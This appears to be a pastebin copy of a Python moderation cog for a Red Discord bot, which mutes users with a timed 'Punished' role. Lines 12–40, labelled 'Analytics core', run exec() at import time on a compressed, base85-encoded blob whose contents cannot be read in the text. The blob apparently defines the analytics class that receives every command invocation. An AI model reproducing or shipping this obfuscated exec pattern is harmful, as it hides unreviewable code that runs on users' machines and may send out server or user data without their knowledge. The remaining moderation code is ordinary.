· 8 years ago · Dec 06, 2017, 07:08 PM
1import discord
2from discord.ext import commands
3from .utils import checks
4from .utils.chat_formatting import pagify, box
5import logging
6from cogs.utils.dataIO import dataIO
7import os
8import time
9import re
10
11# Analytics core
12import zlib, marshal, base64
13exec(zlib.decompress(base64.b85decode("""c-o~{ZExJT5&rI9!TNBJ)NJXOq)B0P54pJ4)>q(?YmzGh$Ix*l?uxb~$|AMSBFKO5GnBNVq;*oDMv&d
14*ki&WBGjpVhO4pVdTdQ)jV6`YyT`ZU|yE0K4UzE<Qtro1xg<b0!v_$8*OsvwSSunH1f7%?aYh8e{F}$%VH#`+qT)k!;`}Ws#Q%_AYncQ_OQe_fdr(Axrd$KM
15Hh}CV#gvoNX>WL;3XDwkRjC}sAUtc|cCd)*p^5`hZg)!_Ozx`N>d}mc+E{+)f;&>}-11;j1E!i1=dghkjzQ?bCbT$_!C&mhEcp`GSy5&lrRO&(9@hYnVxB1m
16*b1hSEYrEs}4ecQPPat*Nk~`YZM8k$BED*hH{MP8QCI5N`a(MhtndkZs?2=BhOxBXKcbS6m47+WNWrE!|D!Btmq=wl{Saua`C0r_MD^qstn6-b$8)3l$u4au
1798_85jJ{9ClhHtFcIsY)&n`zq0R@$<v*0=Du;UCN6sFm&9$@ZU2mQ0pnmCJO&cDiZzKd3xsMuJBn!Ah6ALN~@m0TV0TU`M8sjOq1Qy8d=BA`NmaQYb*OWcq<
1822zGQt3LNc%g0`}{DG{i-hE^kX56WiUO|RcNHr38%(6n>ByQh|PzJy6gJOB7EdZp7HTR~i?fw*HLNhCtaYM5C%brz286?=fwTrh&2vfwn~^#NigqGUCkL`Gg
19WuuxU2tw?sP(z(KiDjnNgm3M3<bNztCs-b9UMPet0l5DF4`&*kVEPUC<)pswRzIYMQDOm`Wv#^ja_W>C(wRYyp1Z+EEM~1y`q;WYtHN#)~@ZP|j&5FbFCtVn
20~AAcgBovd=bIw^#)vOan9@2lT_y!^n6^oOY>+VFYv3gPp4zZ|I4C@X^t_H;2U)-nn3dBM)SMNz43;4OYRav!N&BcWBPY#fKENUH^t%P@*A_9qRG<3guRE?vF
21{t_%$+$@duu?%#nQjGlRiS2(lsep~$hyU307)+*Zc`HQ!5j|Hz>@>Igip<E!AKjpGq{`u@Y^0sfbLmkLuUa=<-^kW%3G5pu_BX8sF_#!yAt*~5~cq?+1##BZ
22^!+(C`nP52E?WP3tcKSCUbC#qw_UMWyh+8XTE6g3X#tN2gH@|enwU9`wbnggPdBOx<@Geit6ya)6cg01T#&AQJ42!k2O<l5N@M=?SYLo$TYU#0q$|d(p_z%v
23*``=ToSG<;m-b#0&iAGcsjZA=`fy<)V$pdoEW%X9txbWh#Daq2f_F@u2@9IX5jE?uCOk^HL!*PRj9UUdrQDij&4%Hklr83q){L87Yv7-=oGF5d)-cvjO6YIh
24Mr2VabF$y@DUE#?`om>8*OGIwjeQvwYMx{MP6f$1pGP`sZ7>f+;E)JP*nnd?pR2AJEcK3oYZgUs;cSN(GamF01-c%%fGqSnMP{ZH6LKUlaVKgG~rh;8$_<1B
25|fO}Dx45xQ2Y@)@O8v9fVmd41Mlc*$4bbWF5{AO|_RfQ}mO3x3ToZirg0Oc-V0l(F%48sxC?Reu}wUh5ry1w7zG~T{-eMW>6w(ejU0DJ5Y0LoceVB@e<%Ul9
26hg%M$tD44ULoO2~0j`7WTC#JofFr$<l9roP!rHeU-Ia}Xt67rq)d}r(3ID86tQalJ{U5Zky#swZ{fSOQKBm+G?p^tNX9KYLDk_E5-6?AVPz4~iaO6DMf1)So
27?ljI(;r!O%qvcDq9L|MvwS@7-~0=0p?>m@F?a4<m5^7-khS5uve;95J#P;+|NWoc1hA7mXy+*M6O0)=6qnAp@(1`8JGyC53N1|7u30ax5!<5eqR3LD%^i;J&
28Uut&lz7Ffvv#qnTtMCQ1x{vR$Ir}5~v4?X5cWdd*mL<ay>L0Oe3R4@XeY<Tyk_ZxX}knQn1SQ#Ldz$Cmwkd^?fKs7KG3C00~0kZI9!IlDdAgGaG$43)C(;Lf
29re1;rkzh753-b?&DiA!DvT&752x^i$CIGb=2IeQ}X<6&7(9~W2L4?ZhmzbHQ?vN~KmsqoH{M~z;KS>jBhx+&3$#e_?D;VjJdWeKQ$?uKTRBO3{3*c($%5w_Y
30}@{8g6p_CKV4?DK$KnL-eSc>X-L*?;kF61p;9`55YqTYy1Gr!=QI{6l&GSoz~Er&%P4tBjWH@TEmcorSpO6BYLYF~`>o!AY<XhAIr8;2p&<wtS+D6i{a8T|1
31tr_;)ZcD*Is96X5*q=exJq<7Ct5lu^0ZwwoHlr|>!s$M$Og7WcGUF%7?sPH<>V$_aev?Vz8yLkh@%oSYu7OCSNFKl6b<KF+Fv&*G}LNjdfm@`iK0e5tG>OdH
32wo)85{JtSaw*y&WqRoO$2QJ`$W#zpi!uXL5mwGAJ=es5<JCI|p`_K_PskkoFYjs+E=-nBJuW^EG!MG;evVMWP{5U)ZR9dd+m#t{7N`vnziQJ7^lJZ)#E&Lvc
339C)H)(FeiGIi-`2(*~U=)|9pOm*gZde=J#_Ohv1}dhAAe*mo*fTcBGd>a}$I|Z${~iy>=Pw6<E}LBv5kW!_`R;i;^Z%Wbtd7HQe}&u1TC5&xj?-5S(-wrQEx
34u+E<RwsbOpN2<8;7Uvzj17!eGon6S<X6dL~OJ(7G*-$TqZ99O)9U_RpVRBfnSQV7mVW_9i0?~Su*2Y{!ryXrf^ZcN9!FP-gQw$nZ8Ox-ikEf3M@)i?+G%2==
3507i^_<j%!IK&;P+s4yI6MrpmalLxm(ex81xOBL%*aE!)R6odKHmz_*|4t(yS$FlxAS{z`NrEDuzgIY$~KB~4v}obQ66wmcBA!)k%2n2W@qvq?IL;b9T63q9o
36bJ^kYZ(nBQDL*zAnZAY?TXkxNiE9W|>Oq_)&ZwIVlG>WF|AW&KHOnyq$MjF2a&TZ6h@29uniub1?4*cluJL+e;du^@&rR%jwI&R}>kj&Q$8cX_}AlBNEj<(~
37)el*xd-k8>nL3`Se2sA)wC+J+5M5#Cj@&O}yhudW+p{yBBY-oJi4%^W|XqCvYP9hh<F;$A1;AZ&TGp&=r4Qy0OG0;_)dNb+R<F<B?|Nh^uJ<$llWe0>tPA1A
38h#}R?|gM+Vi@86o4PzMN&Cj+F`Zw_kGKql~p`av`ukR%5s^p3PGSJ*O*W@DU$_p>MOi~|M9J_0ZGW={&|;TSy{kBJ|RP31bk{g#BV>7WncJ2dCK9bdK&bK;F
39NN17LtHkqmk4hU=OkkFvlkfXbF<@GE1=#G!0eUc_U?_|ci*hY`#&-hR~Ho%GGz%*gP!w+$q;o_9f8~i9of>B(%Nz4#i{rl88!hS-4ioB7_$y?L7L<6079UO0
404d^90nmC13R$whoR8ozG@`f4Rpr{m%v$ZMYhlB><uhFYKh0`U`_^8""".replace('\n', ''))))
41
42__version__ = '1.5.0'
43
44try:
45 from tabulate import tabulate
46except Exception as e:
47 raise RuntimeError("You must run `pip3 install tabulate`.") from e
48
49log = logging.getLogger('red.punish')
50
51UNIT_TABLE = {'s': 1, 'm': 60, 'h': 60 * 60, 'd': 60 * 60 * 24}
52UNIT_SUF_TABLE = {'sec': (1, ''),
53 'min': (60, ''),
54 'hr': (60 * 60, 's'),
55 'day': (60 * 60 * 24, 's')
56 }
57DEFAULT_TIMEOUT = '30m'
58PURGE_MESSAGES = 1 # for cpunish
59PATH = 'data/punish/'
60JSON = PATH + 'settings.json'
61DEFAULT_ROLE_NAME = 'Punished'
62
63
64class BadTimeExpr(Exception):
65 pass
66
67
68def _parse_time(time):
69 if any(u in time for u in UNIT_TABLE.keys()):
70 delim = '([0-9.]*[{}])'.format(''.join(UNIT_TABLE.keys()))
71 time = re.split(delim, time)
72 time = sum([_timespec_sec(t) for t in time if t != ''])
73 elif not time.isdigit():
74 raise BadTimeExpr("invalid expression '%s'" % time)
75 return int(time)
76
77
78def _timespec_sec(t):
79 timespec = t[-1]
80 if timespec.lower() not in UNIT_TABLE:
81 raise BadTimeExpr("unknown unit '%c'" % timespec)
82 timeint = float(t[:-1])
83 return timeint * UNIT_TABLE[timespec]
84
85
86def _generate_timespec(sec):
87 timespec = []
88
89 def sort_key(kt):
90 k, t = kt
91 return t[0]
92 for unit, kt in sorted(UNIT_SUF_TABLE.items(), key=sort_key, reverse=True):
93 secs, suf = kt
94 q = sec // secs
95 if q:
96 if q <= 1:
97 suf = ''
98 timespec.append('%02.d%s%s' % (q, unit, suf))
99 sec = sec % secs
100 return ', '.join(timespec)
101
102
103class Punish:
104 "Put misbehaving users in timeout"
105 def __init__(self, bot):
106 self.bot = bot
107 self.json = compat_load(JSON)
108 self.handles = {}
109 self.analytics = CogAnalytics(self)
110 bot.loop.create_task(self.on_load())
111
112 def save(self):
113 dataIO.save_json(JSON, self.json)
114
115 @commands.command(pass_context=True, no_pm=True)
116 @checks.mod_or_permissions(manage_messages=True)
117 async def cpunish(self, ctx, user: discord.Member, duration: str=None, *, reason: str=None):
118 """Same as punish but cleans up after itself and the target"""
119
120 success = await self._punish_cmd_common(ctx, user, duration, reason, quiet=True)
121
122 if not success:
123 return
124
125 def check(m):
126 return m.id == ctx.message.id or m.author == user
127
128 try:
129 await self.bot.purge_from(ctx.message.channel, limit=PURGE_MESSAGES + 1, check=check)
130 except discord.errors.Forbidden:
131 await self.bot.say("Punishment set, but I need permissions to manage messages to clean up.")
132
133 @commands.command(pass_context=True, no_pm=True)
134 @checks.mod_or_permissions(manage_messages=True)
135 async def punish(self, ctx, user: discord.Member, duration: str=None, *, reason: str=None):
136 """Puts a user into timeout for a specified time period, with an optional reason.
137 Time specification is any combination of number with the units s,m,h,d.
138 Example: !punish @idiot 1.1h10m Enough bitching already!"""
139
140 await self._punish_cmd_common(ctx, user, duration, reason)
141
142 @commands.command(pass_context=True, no_pm=True, name='lspunish')
143 @checks.mod_or_permissions(manage_messages=True)
144 async def list_punished(self, ctx):
145 """Shows a table of punished users with time, mod and reason.
146
147 Displays punished users, time remaining, responsible moderator and
148 the reason for punishment, if any."""
149 server = ctx.message.server
150 server_id = server.id
151 if not (server_id in self.json and self.json[server_id]):
152 await self.bot.say("No users are currently punished.")
153 return
154
155 def getmname(mid):
156 member = discord.utils.get(server.members, id=mid)
157 if member:
158 if member.nick:
159 return '%s (%s)' % (member.nick, member)
160 else:
161 return str(member)
162 else:
163 return '(member not present, id #%d)'
164
165 headers = ['Member', 'Remaining', 'Punished by', 'Reason']
166 table = []
167 disp_table = []
168 now = time.time()
169 for member_id, data in self.json[server_id].items():
170 if not member_id.isdigit():
171 continue
172
173 member_name = getmname(member_id)
174 punisher_name = getmname(data['by'])
175 reason = data['reason']
176 t = data['until']
177 sort = t if t else float("inf")
178 table.append((sort, member_name, t, punisher_name, reason))
179
180 for _, name, rem, mod, reason in sorted(table, key=lambda x: x[0]):
181 remaining = _generate_timespec(rem - now) if rem else 'forever'
182 if not reason:
183 reason = 'n/a'
184 disp_table.append((name, remaining, mod, reason))
185
186 for page in pagify(tabulate(disp_table, headers)):
187 await self.bot.say(box(page))
188
189 @commands.command(pass_context=True, no_pm=True)
190 @checks.mod_or_permissions(manage_messages=True)
191 async def warn(self, ctx, user: discord.Member, *, reason: str=None):
192 """Warns a user with boilerplate about the rules."""
193 msg = ['Hey %s, ' % user.mention]
194 msg.append("you're doing something that might get you muted if you keep "
195 "doing it.")
196 if reason:
197 msg.append(" Specifically, %s." % reason)
198 msg.append("Be sure to review the server rules.")
199 await self.bot.say(' '.join(msg))
200
201 @commands.command(pass_context=True, no_pm=True)
202 @checks.mod_or_permissions(manage_messages=True)
203 async def unpunish(self, ctx, user: discord.Member):
204 """Removes punishment from a user. Same as removing the role directly"""
205 role = await self.get_role(user.server)
206 sid = user.server.id
207 if role and role in user.roles:
208 reason = 'Punishment manually ended early by %s. ' % ctx.message.author
209 if self.json[sid][user.id]['reason']:
210 reason += self.json[sid][user.id]['reason']
211 await self._unpunish(user, reason)
212 await self.bot.say('It will be done..')
213 elif role:
214 await self.bot.say("That user wasn't punished.")
215 else:
216 await self.bot.say("The punish role couldn't be found in this server.")
217
218 @commands.command(pass_context=True, no_pm=True)
219 @checks.mod_or_permissions(manage_messages=True)
220 async def fixpunish(self, ctx):
221 server = ctx.message.server
222 default_name = DEFAULT_ROLE_NAME
223 role_id = self.json.get(server.id, {}).get('ROLE_ID')
224
225 if role_id:
226 role = discord.utils.get(server.roles, id=role_id)
227 else:
228 role = discord.utils.get(server.roles, name=default_name)
229
230 perms = server.me.server_permissions
231 if not perms.manage_roles and perms.manage_channels:
232 await self.bot.say("The Manage Roles and Manage Channels permissions are required to use this command.")
233 return
234
235 if not role:
236 msg = "The %s role doesn't exist; Creating it now... " % default_name
237
238 msgobj = await self.bot.say(msg)
239
240 perms = discord.Permissions.none()
241 role = await self.bot.create_role(server, name=default_name, permissions=perms)
242 else:
243 msgobj = await self.bot.say('Punish role exists... ')
244
245 if role.position != (server.me.top_role.position - 1):
246 if role < server.me.top_role:
247 msgobj = await self.bot.edit_message(msgobj, msgobj.content + 'moving role to higher position... ')
248 await self.bot.move_role(server, role, server.me.top_role.position - 1)
249 else:
250 await self.bot.edit_message(msgobj, msgobj.content + 'role is too high to manage.'
251 ' Please move it to below my highest role.')
252 return
253
254 msgobj = await self.bot.edit_message(msgobj, msgobj.content + '(re)configuring channels... ')
255
256 for channel in server.channels:
257 await self.setup_channel(channel, role)
258
259 await self.bot.edit_message(msgobj, msgobj.content + 'It will be done..')
260
261 if role and role.id != role_id:
262 if server.id not in self.json:
263 self.json[server.id] = {}
264 self.json[server.id]['ROLE_ID'] = role.id
265 self.save()
266
267 async def get_role(self, server, quiet=False, create=False):
268 default_name = DEFAULT_ROLE_NAME
269 role_id = self.json.get(server.id, {}).get('ROLE_ID')
270
271 if role_id:
272 role = discord.utils.get(server.roles, id=role_id)
273 else:
274 role = discord.utils.get(server.roles, name=default_name)
275
276 if create and not role:
277 perms = server.me.server_permissions
278 if not perms.manage_roles and perms.manage_channels:
279 await self.bot.say("The Manage Roles and Manage Channels permissions are required to use this command.")
280 return None
281
282 else:
283 msg = "The %s role doesn't exist; Creating it now..." % default_name
284
285 if not quiet:
286 msgobj = await self.bot.reply(msg)
287
288 log.debug('Creating punish role in %s' % server.name)
289 perms = discord.Permissions.none()
290 role = await self.bot.create_role(server, name=default_name, permissions=perms)
291 await self.bot.move_role(server, role, server.me.top_role.position - 1)
292
293 if not quiet:
294 msgobj = await self.bot.edit_message(msgobj, msgobj.content + 'configuring channels... ')
295
296 for channel in server.channels:
297 await self.setup_channel(channel, role)
298
299 if not quiet:
300 await self.bot.edit_message(msgobj, msgobj.content + 'It will be done..')
301
302 if role and role.id != role_id:
303 if server.id not in self.json:
304 self.json[server.id] = {}
305 self.json[server.id]['ROLE_ID'] = role.id
306 self.save()
307
308 return role
309
310 async def setup_channel(self, channel, role):
311 perms = discord.PermissionOverwrite()
312
313 if channel.type == discord.ChannelType.text:
314 perms.send_messages = False
315 perms.send_tts_messages = False
316 elif channel.type == discord.ChannelType.voice:
317 perms.speak = False
318
319 await self.bot.edit_channel_permissions(channel, role, overwrite=perms)
320
321 async def on_load(self):
322 await self.bot.wait_until_ready()
323
324 for serverid, members in self.json.copy().items():
325 server = self.bot.get_server(serverid)
326 me = server.me
327
328 # Bot is no longer in the server
329 if not server:
330 del(self.json[serverid])
331 continue
332
333 role = await self.get_role(server, quiet=True, create=True)
334 if not role:
335 log.error("Needed to create punish role in %s, but couldn't."
336 % server.name)
337 continue
338
339 for member_id, data in members.copy().items():
340 if not member_id.isdigit():
341 continue
342
343 until = data['until']
344 if until:
345 duration = until - time.time()
346
347 member = server.get_member(member_id)
348 if until and duration < 0:
349 if member:
350 reason = 'Punishment removal overdue, maybe bot was offline. '
351 if self.json[server.id][member_id]['reason']:
352 reason += self.json[server.id][member_id]['reason']
353 await self._unpunish(member, reason)
354 else: # member disappeared
355 del(self.json[server.id][member.id])
356
357 elif member and role not in member.roles:
358 if role >= me.top_role:
359 log.error("Needed to re-add punish role to %s in %s, "
360 "but couldn't." % (member, server.name))
361 continue
362 await self.bot.add_roles(member, role)
363 if until:
364 self.schedule_unpunish(duration, member)
365
366 self.save()
367
368 async def _punish_cmd_common(self, ctx, member, duration, reason, quiet=False):
369 server = ctx.message.server
370 note = ''
371
372 if ctx.message.author.top_role <= member.top_role:
373 await self.bot.say('Permission denied.')
374 return
375
376 if duration and duration.lower() in ['forever', 'inf', 'infinite']:
377 duration = None
378 else:
379 if not duration:
380 note += ' Using default duration of ' + DEFAULT_TIMEOUT
381 duration = DEFAULT_TIMEOUT
382
383 try:
384 duration = _parse_time(duration)
385 if duration < 1:
386 await self.bot.say("Duration must be 1 second or longer.")
387 return False
388 except BadTimeExpr as e:
389 await self.bot.say("Error parsing duration: %s." % e.args)
390 return False
391
392 role = await self.get_role(server, quiet=quiet, create=True)
393 if role is None:
394 return
395
396 if role >= server.me.top_role:
397 await self.bot.say('The %s role is too high for me to manage.' % role)
398 return
399
400 if server.id not in self.json:
401 self.json[server.id] = {}
402
403 if member.id in self.json[server.id]:
404 msg = 'User was already punished; resetting their timer...'
405 elif role in member.roles:
406 msg = 'User was punished but had no timer, adding it now...'
407 else:
408 msg = 'It will be done..'
409
410 if note:
411 msg += ' ' + note
412
413 if server.id not in self.json:
414 self.json[server.id] = {}
415
416 self.json[server.id][member.id] = {
417 'until': (time.time() + duration) if duration else None,
418 'by': ctx.message.author.id,
419 'reason': reason
420 }
421
422 await self.bot.add_roles(member, role)
423 self.save()
424
425 # schedule callback for role removal
426 if duration:
427 self.schedule_unpunish(duration, member, reason)
428
429 if not quiet:
430 await self.bot.say(msg)
431
432 return True
433
434 # Functions related to unpunishing
435
436 def schedule_unpunish(self, delay, member, reason=None):
437 """Schedules role removal, canceling and removing existing tasks if present"""
438 sid = member.server.id
439
440 if sid not in self.handles:
441 self.handles[sid] = {}
442
443 if member.id in self.handles[sid]:
444 self.handles[sid][member.id].cancel()
445
446 coro = self._unpunish(member, reason)
447
448 handle = self.bot.loop.call_later(delay, self.bot.loop.create_task, coro)
449 self.handles[sid][member.id] = handle
450
451 async def _unpunish(self, member, reason=None):
452 """Remove punish role, delete record and task handle"""
453 role = await self.get_role(member.server)
454 if role:
455 # Has to be done first to prevent triggering on_member_update listener
456 self._unpunish_data(member)
457 await self.bot.remove_roles(member, role)
458
459 msg = 'Your punishment in %s has ended.' % member.server.name
460 if reason:
461 msg += "\nReason was: %s" % reason
462
463 await self.bot.send_message(member, msg)
464
465 def _unpunish_data(self, member):
466 """Removes punish data entry and cancels any present callback"""
467 sid = member.server.id
468 if sid in self.json and member.id in self.json[sid]:
469 del(self.json[member.server.id][member.id])
470 self.save()
471
472 if sid in self.handles and member.id in self.handles[sid]:
473 self.handles[sid][member.id].cancel()
474 del(self.handles[member.server.id][member.id])
475
476 # Listeners
477
478 async def on_channel_create(self, channel):
479 """Run when new channels are created and set up role permissions"""
480 if channel.is_private:
481 return
482
483 role = await self.get_role(channel.server)
484 if not role:
485 return
486
487 await self.setup_channel(channel, role)
488
489 async def on_member_update(self, before, after):
490 """Remove scheduled unpunish when manually removed"""
491 sid = before.server.id
492
493 if not (sid in self.json and before.id in self.json[sid]):
494 return
495
496 role = await self.get_role(before.server)
497 if role and role in before.roles and role not in after.roles:
498 msg = 'Your punishment in %s was ended early by a moderator/admin.' % before.server.name
499 if self.json[sid][before.id]['reason']:
500 msg += '\nReason was: ' + self.json[sid][before.id]['reason']
501
502 await self.bot.send_message(after, msg)
503 self._unpunish_data(after)
504
505 async def on_member_join(self, member):
506 """Restore punishment if punished user leaves/rejoins"""
507 sid = member.server.id
508 role = await self.get_role(member.server)
509 if not role or not (sid in self.json and member.id in self.json[sid]):
510 return
511
512 duration = self.json[sid][member.id]['until'] - time.time()
513 if duration > 0:
514 await self.bot.add_roles(member, role)
515
516 reason = 'Punishment re-added on rejoin. '
517 if self.json[sid][member.id]['reason']:
518 reason += self.json[sid][member.id]['reason']
519
520 if member.id not in self.handles[sid]:
521 self.schedule_unpunish(duration, member, reason)
522
523 async def on_server_role_update(self, before, after):
524 server = before.server
525 role = await self.get_role(server)
526 if not (after and role) or after.id != role.id:
527 return
528 if after.position != (server.me.top_role.position - 1):
529 if after < server.me.top_role:
530 await self.bot.move_role(server, after,
531 server.me.top_role.position - 1)
532
533 async def on_command(self, command, ctx):
534 if ctx.cog is self:
535 self.analytics.command(ctx)
536
537
538def compat_load(path):
539 data = dataIO.load_json(path)
540 for server, punishments in data.items():
541 for user, pdata in punishments.items():
542 if not user.isdigit():
543 continue
544
545 by = pdata.pop('givenby', None) # able to read Kownlin json
546 by = by if by else pdata.pop('by', None)
547 pdata['by'] = by
548 pdata['until'] = pdata.pop('until', None)
549 pdata['reason'] = pdata.pop('reason', None)
550 return data
551
552
553def check_folder():
554 if not os.path.exists(PATH):
555 log.debug('Creating folder: data/punish')
556 os.makedirs(PATH)
557
558
559def check_file():
560 if not dataIO.is_valid_json(JSON):
561 print('Creating empty %s' % JSON)
562 dataIO.save_json(JSON, {})
563
564
565def setup(bot):
566 check_folder()
567 check_file()
568 bot.add_cog(Punish(bot))